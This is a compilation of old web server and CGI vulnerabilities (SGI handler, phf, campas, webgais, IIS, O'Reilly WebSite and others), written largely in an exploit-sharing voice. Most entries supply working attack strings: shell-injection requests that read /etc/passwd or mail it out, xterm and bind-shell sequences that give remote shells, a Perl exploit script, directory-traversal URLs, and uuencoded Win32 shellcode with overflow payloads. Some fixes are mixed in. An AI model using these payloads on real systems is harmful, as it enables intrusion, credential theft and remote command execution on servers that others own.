I have had reports that my exploit for SGI' /cgi-bin/handler does not work on IRIX 6.3 (on O2). I analyzed the code provided with IRIX 6.3 and they tried to fix it, but they actually DID NOT. They added a new line to the script: $doc=~s/\|*$// (in plain English, this means "remove any number of '|'s at end-of-string"). But guess what. It works just as fine if you put another TAB character after the "pipe" (so that the "pipe" is not at end-of-string, the TAB is). The exploit should read telnet 80 GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download HTTP/1.0 It tricks the script into executing the command anyway. Now, for those of you who want to patch it somehow, here's the best solution that has been posted to me (all credits for it go to Wolfram Schneider <>) All "open" commands should check if the their argument is really a filename. You could use: -f $doc && open (INPUT, $doc) ( Same thing as: if (-f $doc) { open (INPUT, $doc) } , the one written above is more PERL style) If you have untrusted local users who can install their own cgi-bin stuff (I know of at least one large site that is in this situation), this isn't enough. /cgi-bin/handler/whatever;cat\t/etc/passwd\|\t may well exist, and open() will _still_ take it as a pipe. enemy% telnet victim 80 Trying Connected to victim. Escape character is '^]'. GET /cgi-bin/handler/ ;/usr/sbin/xwsh -display enemy:0|?data=Download UX:sh (sh): ERROR: Connection closed by foreign host. enemy% That opened the xwsh window...But there was only one error-message in the first line: /usr/sbin/xwsh: Permission denied: can't start command Please note the format of the "GET" querey. The above assumes xwsh is in the PATH somewhere, and the "space" between "xwsh" and "-display" should be a TAB. Lets see what I can do with other commands... (Remember the tabs) enemy% telnet victim 80 Trying Connected to victim. Escape character is '^]'. GET /cgi-bin/handler/ ;cat /etc/passwd|?data=Download UX:sh (sh): ERROR: root:x:0:0:Super-User:/:/bin/csh sysadm:x:0:0:System V Administration:/usr/admin:/bin/sh [... I wont give you that ;) ...] nobody:x:60001:60001:SVR4 nobody uid:/dev/null:/dev/null Connection closed by foreign host. Hm - a shadowed passwd... was my first thought.. Lets see If I can get the shadow... [As above] - Didnt work. So It seems that the WWWserver was not running as root (what a pity ;). If it does not run as root -it usually runs as nobody. And what can we see above? Nobody got the shell /dev/null - thats why my xwsh was not able to start a command. Next Try was to give xwsh the command that it should start... (And again: Tabs! - and of course everything in one line...) enemy% telnet victim 80 Trying Connected to victim. Escape character is '^]'. GET /cgi-bin/handler/;/usr/sbin/xwsh -display enemy:0 -e/bin/csh|?data=Download UX:sh (sh): ERROR: Connection closed by foreign host. enemy% s/xwsh/xterm/ and this works the same. GET /cgi-bin/handler/<tab>;xterm<tab>-display<tab>danish:0<tab>-e<tab> /bin/sh|<tab>?data=Download Keep in mind that it isn't necessary to get everything done in one command: enemy% whoami evil_cracker enemy% echo + + > .rhosts enemy% nc 80 GET /cgi-bin/handler/;/usr/bsd/rcp<tab> /tmp|?data=Download enemy% nc 80 GET /cgi-bin/handler/;/tmp/portshell 31337|?data=Download enemy% nc 31337 % whoami nobody % rcp \ ./ ; ./ # portshell being a program that bound itself to a TCP port,executed a shell upon receiving a connection. Boom, shell access obtained under whatever uid httpd is running as. Or, one could even create a dummy inetd.conf and run their own copy of inetd. In addition, please note that in theory this should also work for /cgi-bin/wrap CGI script.

Name: Date: 1997/05/05 Versions: Novell 4.11 running Novell Webserver 3.x with Web Server 3.x Examples Toolkit v.2. Risk: allows access to any text file on a Netware 4.11 server.
The Perl script that comes with the Web Server 3.x Examples Toolkit v.2 is designed to return a text file or a directory as HTML. However the script does not perform any checks of user input and allows intruders to redirect the script to any file on the server. Secure directories are also vulnerable, as directory listings are returned Once access has been gained to these secure directories and files, an intruder could use the information obtained to gain additional access to the server console, even across the Internet if XCONSOLE.NLM is being run on the server. Remove the Perl script from the SHARED\DOCS\LCGI\PERL5 directory, typically installed under SYS:INW_WEB.

Name: convert.bas Versions: Novell Web Server distro ( fixed in IntraNetware ) Risk: read any file on the remote file system using this CGI. search for +links:scripts/convert.bas will return you all the sites that can be breached. In a random sampling of 10 sites there was 1 site that restricted using ../ so (I assume) that by using Novell's security you CAN restrict this bug. However you can access files like AUTOEXEC.NCF, and even login scripts in the hidden _NETWARE directory (if you know the name). It does appear you are restricted to the SYS: volume, however if you are using XCONSOLE and have your remote console password in plaintext (instead of encrypted) you are just inviting someone to telnet to the server console....

Name: httpd distibutions Date: 26 February 1996 Versions: Any CGI program built using the sample code distributed with NCSA HTTPD V 1.5A-Export and earlier and Apache HTTPD v1.0.3 and earlier that accepts input from the user Risk: call a shell to execute other programs can be tricked into executing any arbitrary command Details: ncsa.txt
One of the utility functions offered by the CGI example source code is called escape_shell_cmd(). It is intended to help programmers avoid the vulnerability described above. This function, when given an input string received from the user, scans the string for characters that have special meaning to the UNIX shell, and inserts escapes in front of these characters to remove their special meaning. However, the list of special characters used by escape_shell_cmd(): &;`'"|*?~<>^()[]{}$\ is incomplete: it is missing the newline ('\n',octal 012,hex 0x0a) character. The CGI example source code also includes a program called "phf," which implements a form-based interface to a local CCSO Name Server. (The CCSO Name Server is a white pages service used for looking up name and address information about people.) The "phf" demonstration program uses the escape_shell_cmd() function to check its inputs, and is thus vulnerable to attack as described above. A second potential vulnerability When examining your CGI programs that make use of the escape_shell_cmd() function, note that escape_shell_cmd() does not perform any check on the length of the buffer it is passed. Because each character in the buffer has the potential to be escaped with a backslash,the resulting string can be up to twice as long as the original. Any buffer that is passed into this function should be at least (2n+1) bytes in size, where n is the length of the unescaped string.

Name: Sambar Server Beta BUG Versions: Samba server v4.1 beta Risk: it is possible to view the victim's HDD
To do a test, run a little perl script... Now you see the complete environment of the victims computer, including his path. Now you can try to login as the administrator by adding this to the url: /session/adminlogin?RCpage=/sysadmin/index.stm The default login is: admin and the default password is blank. If the victim hasn't changed his settings, you now can control his server. Another feature is to view the victims HDD.If you were able to run the perl script you should also be able (in most cases) to view directory's from his path. Most people have c:/program files and c:/windows in the path line, so what you can do is: files/sambar41

Name: cgiwrap buffer overrun Date: 7 Dec 1997 Versions: cgiwrap-3.5 and 3.6beta1 Distro: many httpd distributions Risk: buffer overrun.
Duncan Simpson found spotted a code fragmen that allocated a static buffer and printed an arbitary lenght string in it. Exploits probably require one to create a file with the name contiaining shellcode but that should not be a serious problem (/ means new dir and \0 does not happen).

Name: campas.cgi Date: 15 Jul 1997 Versions: @(#) 1.2 95/05/24 NCSA" Distro: many httpd distributions Risk: enable everybody to execute commands on your system with the same rights as the httpd daemon.
#!/bin/sh bash script > telnet 80 Trying 200.xx.xx.xx... Connected to Escape character is '^]'. GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a <PRE> root:x:0:1:Super-User:/export/home/root:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: smtp:x:0:0:Mail Daemon User:/:/bin/false You may either erase this CGI if not in use or you can not use this CGI anymore (and at that point you can erased it too)

Name: script by Matt Wright Date: 24 Jun 1998 Versions: program has a "Last Modified Date" at 5/10/96 Distro: Risk: enable everybody to execute commands on your system with the same rights as the httpd daemon.
The counter use the enviroment variable DOCUMENT_URI to create read/update a file where it keeps the hit count. There is NO test for shell metacharacters, so you can easily put something evil, that will make PERL to execute it ... This is the two lines responsible with the problem ... if (-e "$data_dir$count_page") { open(COUNT,"$data_dir$count_page"); } Because of the test condition,the attack have to be repeated twice to succeed. First time the condition is false and the tricky file gets created, and the second time, the condition is true and our commands get executed ... Exploit: #!/usr/bin/perl $URL=''; # please _modify_ this $EMAIL=',root'; # please _modify_ this if ($ARGV[0]) { $CMD=$ARGV[0]; }else{ $CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one"; } $text="${URL}/;IFS=\8;${CMD};echo|"; $text =~ s/ /\$\{IFS\}/g; system({"lynx"} "lynx", $text); system({"lynx"} "lynx", $text); Fix: this will make sure that there are NO tricky characters in filename. $count_page = "$ENV{'DOCUMENT_URI'}"; # the original 91 line .... $count_page =~ s/([^a-z0-9])/sprintf("%%%02X",$1)/ge; # ADD THIS !!!!! Use cgiwrap. Don't run scripts from untrusted sources. Don't take candy from strangers.

Name: wwwthreads discussion forum Date: 8 Sep 1998 Versions: wwwthreads v2.7.3 and all earlier releases (2.6.* and 2.7.*). Distro: Risk: passwords weakness
When running the install script, the data directories are created in a publicly accessible area. The install instructions direct the user to create the data directory in a publicly accessible directory under "html" or "public_html" also. The data directories contain, among other things, administrator and user logins and passwords. These passwords are written to files in plaintext, and the files can easily be viewed and/or downloaded by anyone with a web browser. Also there is no error or bounds checking in the administrative cgi scripts either, so exploit code can easily be executed remotely once the plaintext passwords are retrieved. 1) move the data directories to non-publicly accessible area and correct the appropriate lines in the cgi scripts. 2) remove all (g) and (o) permissions to prevent local exploit. 3) use the UNIX crypt() function or something similar to encode passwords written to files. 4) add a "referer" variable to the cgi scripts so commands can only be executed on local server that has WWW Threads installed. There are many other bugs in the WWW Threads scripts, so best suggestion is to use another discussion forum script.

Name: view-source CGI vulnerability Distro: some httpd distributions and SCO Skunkware cdroms Risk: see context on any file on the system.
This script is designed to display a given document located in $DOCUMENT_ROOT/$1 (where $DOCUMENT_ROOT is an environment variable set by the server). Unhopefully view-source does not properly check the arguments. It is therefore possible to display any file on systems where view-source is world executable by sending something like' At this point you can erase this cgi or nuke whole cgi-bin.

Name: webgais vulnerability Date: 10 Jul 1997 Versions: Systems running this tool Distro: WebGais is an interface to the GAIS search tool Risk: any client can run arbitrary commands under the server UID.
Package installs a few programs in /cgi-bin. The main utility is called "webgais" and does the actual interfacing with search tool. It reads the query from a user form, and then runs the GAIS search engine for that query. The author tried to protect the program by using single quotes around the query when he passed it to a "system" command. But he forgot one VERY important thing: to strip single quotes from the query (this was done in Glimpse). So, if we send a query like: query=';</etc/passwd;echo'&..... we will trick the "protection" system. The only problem here is that you have to provide a certain combination of input parameters, to reach the vulnerable line in the script: telnet 80 POST /cgi-bin/webgais HTTP/1.0 Content-length: 80 (replace this with the actual length of the "exploit" line) query=';mail+you\</etc/passwd;echo'&output=subject &domain=paragraph ... and it worked. But to make it work for your system too, you'll have to add other parameters, like idx_dir and data_type who are required by the script in its original version. Just make a normal query to your WebGais server and see what all the parameters are. But remember to use "output" and "domain" as specified in this exploit. Otherwise you will end up in some other place of the script and nothing will happen. Strip single quotes from the query (this was done in Glimpse).

Name: Websendmail vulnerability Versions: Websendmail v1.0 and others? Distro: WebGais is an interface to the GAIS search tool Risk: any client can run arbitrary commands under the server UID.
Websendmail is a cgi-bin that comes with the WEBgais package, which is an interface to the GAIS search tool.It is a PERL script that reads input from a form and sends e-mail to the destination. As many other cgi-bin programs,this one does not check for special characters in the user input. Here's what it does: (...) $cmd="| $MAILBIN $VAR_receiver"; open (PIPEOUT, $cmd); $VAR_receiver is read from the form. The script also does a little parsing on the string to "un-webify" it (converts pluses to spaces and %xx characters to their real value). So if we set $VAR_receiver to ';mail+your_address\</etc/passwd;' Now for the exploit: telnet 80 POST /cgi-bin/websendmail HTTP/1.0 Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=97) receiver=;mail+your_address\</etc/passwd;&sender=a &rtnaddr=a&subject=a&content=a Don't worry if the server displays an error message. The password file is on the way :). You can use anything for the "sender", "rtnaddr", "subject" and "content", just make sure they're there, the script checks for them. Modify source to avoid special characters.

Name: vulnerability Date: 3 Sep 1998 Versions: Wwwboard script 2.0 ALPHA 2 or less by Matt Wright Distro: Risk: default location of passwords in the program allow anyone to perform dictionary attacks on the board admin's password , make DOS attack or rewrite files.
There is no input checking done on the list of articles which a given article is a followup to. This allows us to give it invalid input such that we can clobber files that the web server has write permissions to. this HTML snippit, when read by Netscape, will clobber articles 1 to 5 on the wwwboard at <form method=POST action=""> <input type=hidden name="followup" value="1,2,3,4,5,|.|"> <input type=submit value="Clobber web board"> </form> By default you must put the passwd.txt file in the same directory as your wwwboard. If this is true anyone could simple download the passwd.txt file and put it against Password crackers like Crackerjack or John the Ripper (UCF). When go to Default the id and password are Username: WebAdmin Password: WebBoard Samuel Sparling found following. When the followup value in a form posted to the WWWBoard script contains the same post number twice, the script follows up to that post twice, even printing the number of followups to a particular post (on the wwwboard.html file) multiple times. This exploit does even one better than just 'messing up' the board, if done severly enough, it can cause the wwwboard.html file to become hundreds of megabytes in size. It appears that the number of followups shown on the main page (if there's three, it'd look like "(3)") increases exponentially with this flaw, such that posting a followup value of say "5,5,5" 2 times would make (2) appear as the followup value, but it would appear 9 times. From the best I can tell, the number of followups you have that are the same (like "3,3,3,3,3" would have 5) is the number of times the followup value will appear on the wwwboard.html page, and if you post the same twice, it does that number to the second power, and thrice does to the third power, etc. (whereas if you post "3,3,3,3,3" once, it'll have 5 followup numbers, if you post it twice, it'll have 25, if you post it three times, it'll have 125, post it ten times and it'll show 9,765,625 times, twelve times 244,140,625, thirteen times 1,220,703,125, etc.) And even though it appears that only three bytes "(X)" are added for each followup value you see, there are comments in the HTML making it appear as "(5)" in the html source if there's 5 followups to message 3. As that shows, this can cause much more damage than just a simple annoyance. This flaw could easilly be exploited to the point where a users quota is maxed out, or even to the point where the web server runs out of disk space. This is a script to exploit this flaw :

Name: Verity/Search'97 Versions: Systems running Verity/Search'97 v3.1 & 2.1 Distro: Risk: allows anybody with permission to execute the s97_cgi CGI script to look at files on the webserver. The second security problem is an authorization problem with the tasmgr application.
The s97_cgi and s97r_cgi programs provide an interface for web based applications to the Verity search engine. These two programs typically handle search queries and showing the result of those queries. One of the parameters to the script is one in which you specify the name of a template file that is used to show the result of the search query. This path is relative to a directory that you have to specify in the Verity configuration files. The problem is that this template pathname is appended to the base directory name without proper checking of this path for .. or %2e%2e. This means that it's possible to jump out of the templates directory and use any file on the Verity host as a result template. It will be send back to the client browser in it's original form or with minor modifications if it contained any valid HTMLscript tags (Verity's script language). Sample query: ?HLNavigate=On&querytext=dcm &ServerKey=Primary &ResultTemplate=../../../../../../../etc/passwd &ResultStyle=simple &ResultCount=20 &collection=books Please note that only files can be read for which the owner of the webserver process has permission. The tasmgr process, part of the Agent Server, listens on port 1972 for administrative commands. Unfortunatly this requires no authorization at all, so anybody can start and stop your agent processes: Connected to Escape character is '^]'. 0 Verity dcm ready list 0 TAS-Primary status tas-primary 0 TYPE=PROCESS; STATE=RUNNING; STARTUP=AUTO_START; PID=87632 stop tas-primary 0 'tas-primary' signalled status tas-primary 0 TYPE=PROCESS; STATE=STOPPING; STARTUP=AUTO_START; PID=87632 where 0 /home/verity/_hpux10/bin/dcm.cfg

Name: Vulnerability in htmlscript Versions: htmlscript 3.0, 2.99x and earlier releases. Distro: Risk: access system files, presumably any file on web server I suppose the number of ..s will depend on the location of the cgi program. I glanced through their configuration file and it has a variable called 'htmlscriptroot' in it. Since you would apparently get an error if this were not set, I don't think setting it resolves the problem.

Name: NCSA httpd Date: 8 May 1998 Versions: NCSA's httpd v1.4 for Windows Risk: probably run arbitrary commands on the web server
The bug can cause the server to crash. The problem seems to be that the server has MAX_STRING_LEN defined to 256 characters. So, when a client's request is larger than 256 characters the server crases. I tested it on a PC running Windows 3.11, wich I believe are more stable than Win95, with W32s driver. I TELNETed into the server on port 80 (using as the IP address). Then using the 'GET' command I insert more than 256 characters. The server crashed showing a message asking the user to terminate the program. I haven't try it yet on other PC, but the problem it's the MAX_STRING_LEN, so it doesn't make any differents. The server crashes showing no messages to the clients screen. In the Access Log files the client's request seems like a normal request nad Ididn't found anything on Error Log file.I even tested with a Web Browser calling a file with more than 256 characters and I had the same results. Since the server is not for commercial use the bug doesn't seem to be serious. A fix would be to re-define MAX_STRING_LEN to a much bigger number. As far as I know the Server Administrator cannot re-define MAX_STRING_LEN.

Name: NCSA httpd Versions: NCSA's httpd Version 1.42, 1.5 Risk: can force the daemon to return the source code for any scripts contained in /cgi-bin
This security hole only presents itself for systems with cgi-bin directories contained within their DocumentRoot directories. You can access the source code by adding multiple "/" preceeding the cgi-bin portion of the URL. If indexing is turned on, you can get a full listing of all files within the cgi-bin directory. Example URL's follow: The daemon fails to detect this as a cgi-bin redirect, then parses the file ///cgi-bin/ from your document root. Since the multiple slashes are legal syntax in UNIX, the daemon returns the file as straight text. This provides potential hackers a glimpse at what measures you have taken (or haven't taken) to thwart their access. the problem appears located in routine "translate_name" in file "http_alias.c". An alias table is built up for string comparisons with the incoming URL. At startup, this table is loaded with the value of ScriptAlias in your configuration files, generally "/cgi-bin". Comparing "/cgi-bin" with "//cgi-bin" fails, and the file is returned to the browser as straight text.

Name: NCSA httpd Versions: NCSA httpd version 1.3 and earlier Date: 15-03-95 Risk: any client can run arbitrary commands under the server UID.
ns0: {21} telnet 80 Trying Connected to Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.0 200 Document follows Date: Thu, 28 Dec 1995 17:08:55 GMT Server: NCSA/1.3 The vulnerability is triggered by a buffer overflow condition, whereupon the server can be coerced into executing other programs, such as a Unix shell. Actually, this bug is similar to the bug in fingerd exploited by the internet worm. The HTTPD reads a maximum of 8192 characters when accepting a request from port 80. When parsing the URL part of the request a buffer with a size of 256 characters is used to prepend the document root (function strsubfirst(), called from translate_name()). Thus we are able to overwrite the data after the buffer. Since the stack grows towards higher addresses on the HP-PA, we are able to overwrite the return pointer which is used to return from the strcpy() call in strsubfirst(). The strcpy() overwrites its own return pointer. On systems with a stack growing the other direction, we'd have to overwrite the return pointer of strsubfirst(). ncsa.c original exploit ncsa-l.c NCSA 1.3 Linux/intel remote

Name: CERN httpd Risk: can read protected directories
If server has the following in the config file: Protection secret { AuthType Basic ServerID mine PasswdFile /httpd/config/passwd GroupFile /httpd/config/group POST-Mask secret_group GET-Mask secret_group PUT-Mask webmaster } Protect /secret/* secret This wil work fine. When the client tries to access for example the password box pops up. However, if the client tries to access (note the double slash) the server happily serves the document out.

Name: Apache httpd with cookie Versions: Apache httpd 1.1.1 or earlier, Sioux , Stronghold server Risk: any client can run arbitrary commands under the server UID. Distro:
There is a serious vulnerability in the cookies module of the Apache httpd, which makes it possible for remote individuals to obtain access to systems running the Apache httpd. Only sites which enabled mod_cookies, a nondefault option, are vulnerable. Remote individuals can obtain access to the web server. If the httpd services requests as user root, attackers can obtain root access. If the httpd is run in a chroot() environment, the attacker will be restricted to the chrooted environment. $ telnet localhost 80 Trying Connected to localhost. Escape character is '^]'. GET / HTTP/1.0 HTTP/1.0 200 OK Date: Tue, 07 Jan 1997 18:59:31 GMT Server: Apache/1.1.1 Content-type: text/html Set-Cookie: Apache=localhost9185266357164; path=/ The important lines to look at are the Server: lines, and the Set-Cookie: lines. Buffer overflow in mod_cookie.c

Name: O'Reilly WebSite for Windows NT and 95 Risk: any client can run arbitrary commands under the server UID. Author: (Solar Designer)
O'Reilly Website UPLOADER.EXE Vulnerable WEBSITE 2.0 beta, WebSite 1.1g and less Website ships with a program called UPLOADER.EXE that allows compatible Web clients to upload files to the Web server. Using UPLOADER.EXE with a modified HTML page allows an intruder to upload an file the wish, including malicious programs for execution on the Web server. <FORM ENCTYPE="multipart/form-data" METHOD=POST ACTION="/cgi-win/uploader.exe/Uploads/"> <PRE>Your name: <INPUT TYPE=TEXT SIZE=20 NAME="name"> (required) Email address: <INPUT TYPE=TEXT SIZE=20 NAME="email"> (required) <b>NOTE:</b> File to upload: <INPUT TYPE=FILE NAME="upl-file" SIZE=40> File description: <INPUT TYPE=TEXT SIZE=40 NAME="desc"> (required) <INPUT TYPE=SUBMIT VALUE="Upload Now"></PRE> </FORM> "The program uploader.exe doesn't check anything at all. If you're lucky, you're running Windows NT and have put only "read/execute access" on CGI-WIN and other executable paths. Otherwise (win95) you have a real problem You could create a CGI program, next you change the HTML file a little like this. <FORM ENCTYPE="multipart/form-data" METHOD=POST ACTION=""> <INPUT TYPE=HIDDEN NAME="name" VALUE="Foo"> <INPUT TYPE=HIDDEN NAME="email" VALUE="> File to upload: <INPUT TYPE=FILE NAME="upl-file" SIZE=40><BR> <INPUT TYPE=TEXT SIZE=40 NAME="desc" VALUE="YouGottaSecurityProblem"> <INPUT TYPE=SUBMIT VALUE="Upload Now"> </FORM> Open the HTML file in your browser, select a nice CGI file to upload and run that CGI program remotely. (No need to tell you what this CGI program could do, could be .bat file too in one of Website's other CGI directories)" Website v1.1e The first thing that I noticed is about the scripts, they have the following lines in cgi-dos/args.cmd (and some others): rem NEVER NEVER ECHO URL COMPONENTS UNQUOTED!!! Consider rem a query string of xxx&del+/s+c:\*.* Your hard drive gets rem erased!! Same goes for args and extra path info!!! and then some lines like this: echo QUERY_STRING="%QUERY_STRING%" Obviously, just using the quotes is not enough. Why can't I close them, or use a linefeed? The exploit can be:"&any+dos+command""&any+dos+command" There's also an example C program, compiled to cgi-shl/win-c-sample.exe, with the source provided in cgi-src/win-c-sample/win-c-sample.c, and the following line in there: char *argv[32]; // Max 32 command line args That's a WinMain local variable, and is passed to SplitArgs(),which does no bounds checking while filling it with the command line parameters. You know what that means -- a nice buffer overflow. Here are the exploits (I split the long URLs into several lines), you can use any dos command in them (replace spaces with _'s): -- WinNT (any version?): +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A %06<_u%03%80.?FAI%84%C0u%F0h0%10%F0wYhM\y[X%050PzPA9%01u%F0%83%E9%10% FF%D1h0%10%F0wYh%D0PvLX%0500vPA9%01u%F0%83%E9%1C%FF%D1cmd.exe_/c_copy _\WebSite\readme.1st_\WebSite\htdocs\x1.htm -- Win95 (the release version only, will crash others!): +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C62j%01V%8A %06<_u%03%80.?FAI%84%C0u%F0%BAto|_%B9t`}`%03%CA%FF%D1%BAX_|_%B9XP|`%0 3%CA%FF%D1c:\command.com_/c_copy_\WebSite\readme.1st_\WebSite\htdocs\ x1.htm The example dos commands just copy the WebSite's readme.1st file, so you can later check if the exploit worked by trying Note that the server should respond to these exploits with an "Error: no blank line separating header and data", because of the "1 file(s) copied" message appearing without a blank line before it (which is required for HTTP; if you need a command's output, you can redirect it to a file, and get that file via HTTP with a separate request). Finally, to the thing I'm writing this message for -- I mean the Win32 shellcode. I haven't seen any Win32 overflow exploits before (actually, didn't look for them), so I had to code my own shellcode. This seems not to be that simple as it would be for Win16, or as it is for most UNIX systems. The problem is that normally Windows kernel calls require extra relocation items, but the shellcode appears in an already loaded program. The solution I used in the exploits above is doing a call to fixed kernel offset. Actually, the WinNT exploit does pattern searches in the kernel (due to the number of different kernel versions out there), while the Win95 one uses fixed offsets. The two functions I use are WinExec and ExitProcess. Here're the two shellcodes in binary, uuencoded, so you can use them in your own exploits if you wish. begin 644 shell_nt.bin M:%Y8_^;_U(/&3&H!5HH&/%]U`X`N/T9!283`=?!H,!#P=UEH35QY6U@%,%!Z F4$$Y`77P@^D0_]%H,!#P=UEHT%!V3%@%,#!V4$$Y`77P@^D<_]'[ ` end begin 644 shell_95.bin M:%Y8_^;_U(/&,FH!5HH&/%]U`X`N/T9!283`=?"Z=&]\7[ET8'U@`\K_T;I8 ,7WQ?N5A0?&`#RO_1 ` end Note that I had to avoid using some codes (which the server didn't allow me to use), that's why I do things like: db 68h ; push imm32 pop esi ; \ pop eax ; | - the value being pushed jmp esi ; / call esp instead of: call $+5 ; would contain zeroes pop esi Website 1.1b or less suffers from the same problems as Netscape does with DOS .bat files Version 1.1c fixes this problem.

Name: 4 old IIS bugs on Windows NT Risk: any client can view files on HDD and run arbitrary cmds. Versions: IIS 1.x, 2.0b the Netscape Communications Server version 1.12 and the Netscape Commerce Server version 1.0) Website 1.1b or less
"DOUBLE DOT" Bug allows intruder to access any file on the same partition where your wwwroot directory is located (assuming that IIS_user has permission to read this file). It also allows intruder to execute any executable file on the same partition where your scripts directory is located (assuming that IIS_user has permission to execute this file). If cmd.exe file can be executed than it also allows intruder to execute any command and read any file on any partition (assuming that IIS_user has permission to read or execute this file). http://[domain_name]/..\..\..\..\[PATH]\filename allows intruder to download any file on the same partition where the wwwroot directory is located. http://[domain_name]/scripts/../../../../[PATH]/filename or http://[domain_name]/scripts/..\..\..\..\[PATH]\filename allow intruder to execute any executable file on the same partition where your scripts are located. "TRUNCATE" Bug allows intruder to create new or to truncate existing files on any partition under the following conditions: BAT and (or) CMD files are mapped by IIS to the cmd.exe file IIS_USER has a right to create a file in case of a new file creation IIS_USER has a right to delete a file in case of a file modification http://[domain_name]/scripts/abracadabra.bat>FULL_PATH\filename.bat will create a new file at the FULL_PATH drive:\directory location if the file FULL_PATH\filename.bat does not exist. If the file exists and IIS_USER has permission to delete this file, the file will be truncated. http://[domain_name]/scripts/abracadabra.bat>FULL_PATH\filename%0A%0Dblabla.bat will create a new file at the FULL_PATH drive:\directory location if the file FULL_PATH\filename does not exist. If the file exist s and IIS_USER has permission to delete this file, the file will be truncated. File blabla.bat does not need to exist in the scripts directory. "REDIRECT" Bug will redirect output from any CGI script to the file under the following conditions: BAT and (or) CMD files are mapped to the cmd.exe file by IIS IIS_USER has a right to create a file in case of a new file creation IIS_USER has a right to delete a file in case of a file modification http://[domain_name]/scripts/script_nameFULL_PATH\filename%0A%0Dblabla.bat or http://[domain_name]/scripts/script_name>FULL_PATH\filename%0A%0Dblabla.bat will redirect (or append) output from the existing script_name to the filename file at the FULL_PATH (drive:\directory) location. Netscape Communication and Netscape Commerce servers have similar bugs. Similar things can be done with the Netscape Server when using the BAT/CMD files as a CGI scripts. http://[domain_name]/scripts/script.bat?>FULL_PATH\filename or http://[domain_name]/scripts/script.bat?>>FULL_PATH\filename will redirect (or append) output from the existing script_name to the filename file at the FULL_PATH (drive:\directory) location The bug is probably more dangerous in this case because the Netscape Server runs by default under local system account. Intruder can also use a "|" symbol under the Netscape server to transfer output from an existing BAT to every executable in any partition. "CMD.EXE" Bug is specific to the cmd.exe shell program. Once accessed (for example by exploiting Double Dot bug) cmd.exe can be used to execute any internal command or any command in any partition, it can be used to create a new "custom made" file even if the mapping to the BAT/CMD files is disabled. http://[domain_name]/scripts/../../cmd.exe/?%2FC+any_command or http://[domain_name]/scripts/../../cmd.exe/?%2FC+any_command>FULL_PATH\filename or http://[domain_name]/scripts/../../cmd.exe/?%2FC+any_command>>FULL_PATH\filename will execute any internal command and redirect or append the output from the command to a file. http://[domain_name]/scripts/../../cmd.exe/?%2FC+echo+"hello,+World">c:\temp\hello.bat will create a file c:\temp\hello.bat containing the phrase "hello, World". This allows a malicious user to create simple but dangerous files. For example these files can be used as scripts for ftp.exe command. BAT/CMD in IIS 1.0 Windows NT 3.5 Let's consider fresh IIS Web server installation where all settings are default: 1) CGI directory is /scripts 2) There are no files abracadabra.bat or abracadabra.cmd in the /scripts directory. 3) IIS Web server maps .bat and .cmd extensions to cmd.exe. Therefore registry key HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ScriptMap has the following string: .bat or .cmd=C:\WINNT35\System32\cmd.exe /c %s %s In this case a hacker with a malicious intent can send either one of the two command lines to the server: a) /scripts/abracadabra.bat?&dir+c:\+?&time b) /scripts/abracadabra.cmd?&dir+c:\+?&time and the following happens: 1) Browser asks how you want to save a document. Notepad.exe or any other viewer would do for this "type" of application. 2) Browser starts the download session. The download window appears on the screen. 3) The hacker clicks the "cancel" button on the download window, because the "time" command on the server never terminates. 4) Nothing is logged on the server side by the IIS Web server, because the execution process was not successfully terminated!!! (Thanks to the "time" command.) The only way to see that something happened is to review all your NT security logs. But they do not contain information like REMOTE_IP.

Name: iCat Carbo Server hole Date: 8 November 1997 Risk: any client can view files on HDD. Versions: iCat Carbo Server (ISAPI, Release) Version 3.0.0, Win32
iCat Carbo Server is a program used to create interactive shopping catalogs for the www. It was selected by PC Magazine's editors as the best Web storefront creation software. I've found a bug in the iCat Carbo Server Version 3.0.0. The bug let's everyone view any file at a system that is using Carbo (except for files with some special characters). http://host/carbo.dll?icatcommand=file_to_view&catalogname=catalog http answer: [iCat Carbo Server (ISAPI, Release) Version 3.0.0 Release Build 244] Error: (-1007) cannot open file 'C:\web\carbohome\file_to_view.htm' To view their c:\winnt\win.ini: http://host/carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog

Name: perl.exe in CGI bin Directories Date: May 29, 1996 Risk: any client can run arbitrary commands under the server UID. OS: mostly Windows
Many sites that maintain a Web server support CGI programs. Often these programs are scripts that are run by general-purpose interpreters, such as /bin/sh or PERL If the interpreters are located in the CGI bin directory along with the associated scripts, intruders can access the interpreters directly and arrange to execute arbitrary commands on the Web server system This problem has been widely discussed in several forums. Unfortunately, some sites have not corrected it. The CERT Coordination Center recommends that you never put interpreters in a Web server's CGI bin directory. Early documentation for Netscape and other servers recommended placing the interpreters in the CGI bin directory to ensure that they were available to run the script. you can find the following terrifying advice: The syntax for calling a Perl CGI script from one of your pages on a Windows NT web server is different from the syntax used on Unix. You need to put a copy of PERL.EXE into your cgi-bin directory, and use this kind of anchor to it: <A HREF="/cgi-bin/perl.exe?">...</A> In other words, you call PERL.EXE with "" as its argument. **DO NOT DO THAT** In other way anyone else is quite able to do a GET on something like'format?c:''format%20c:'*%3E Background info on the problem,plus solutions. probe web for insecure perl installations

Name: WebStar vulnerability Versions: WebSTAR for the Mac Risk: any client can see httpd config
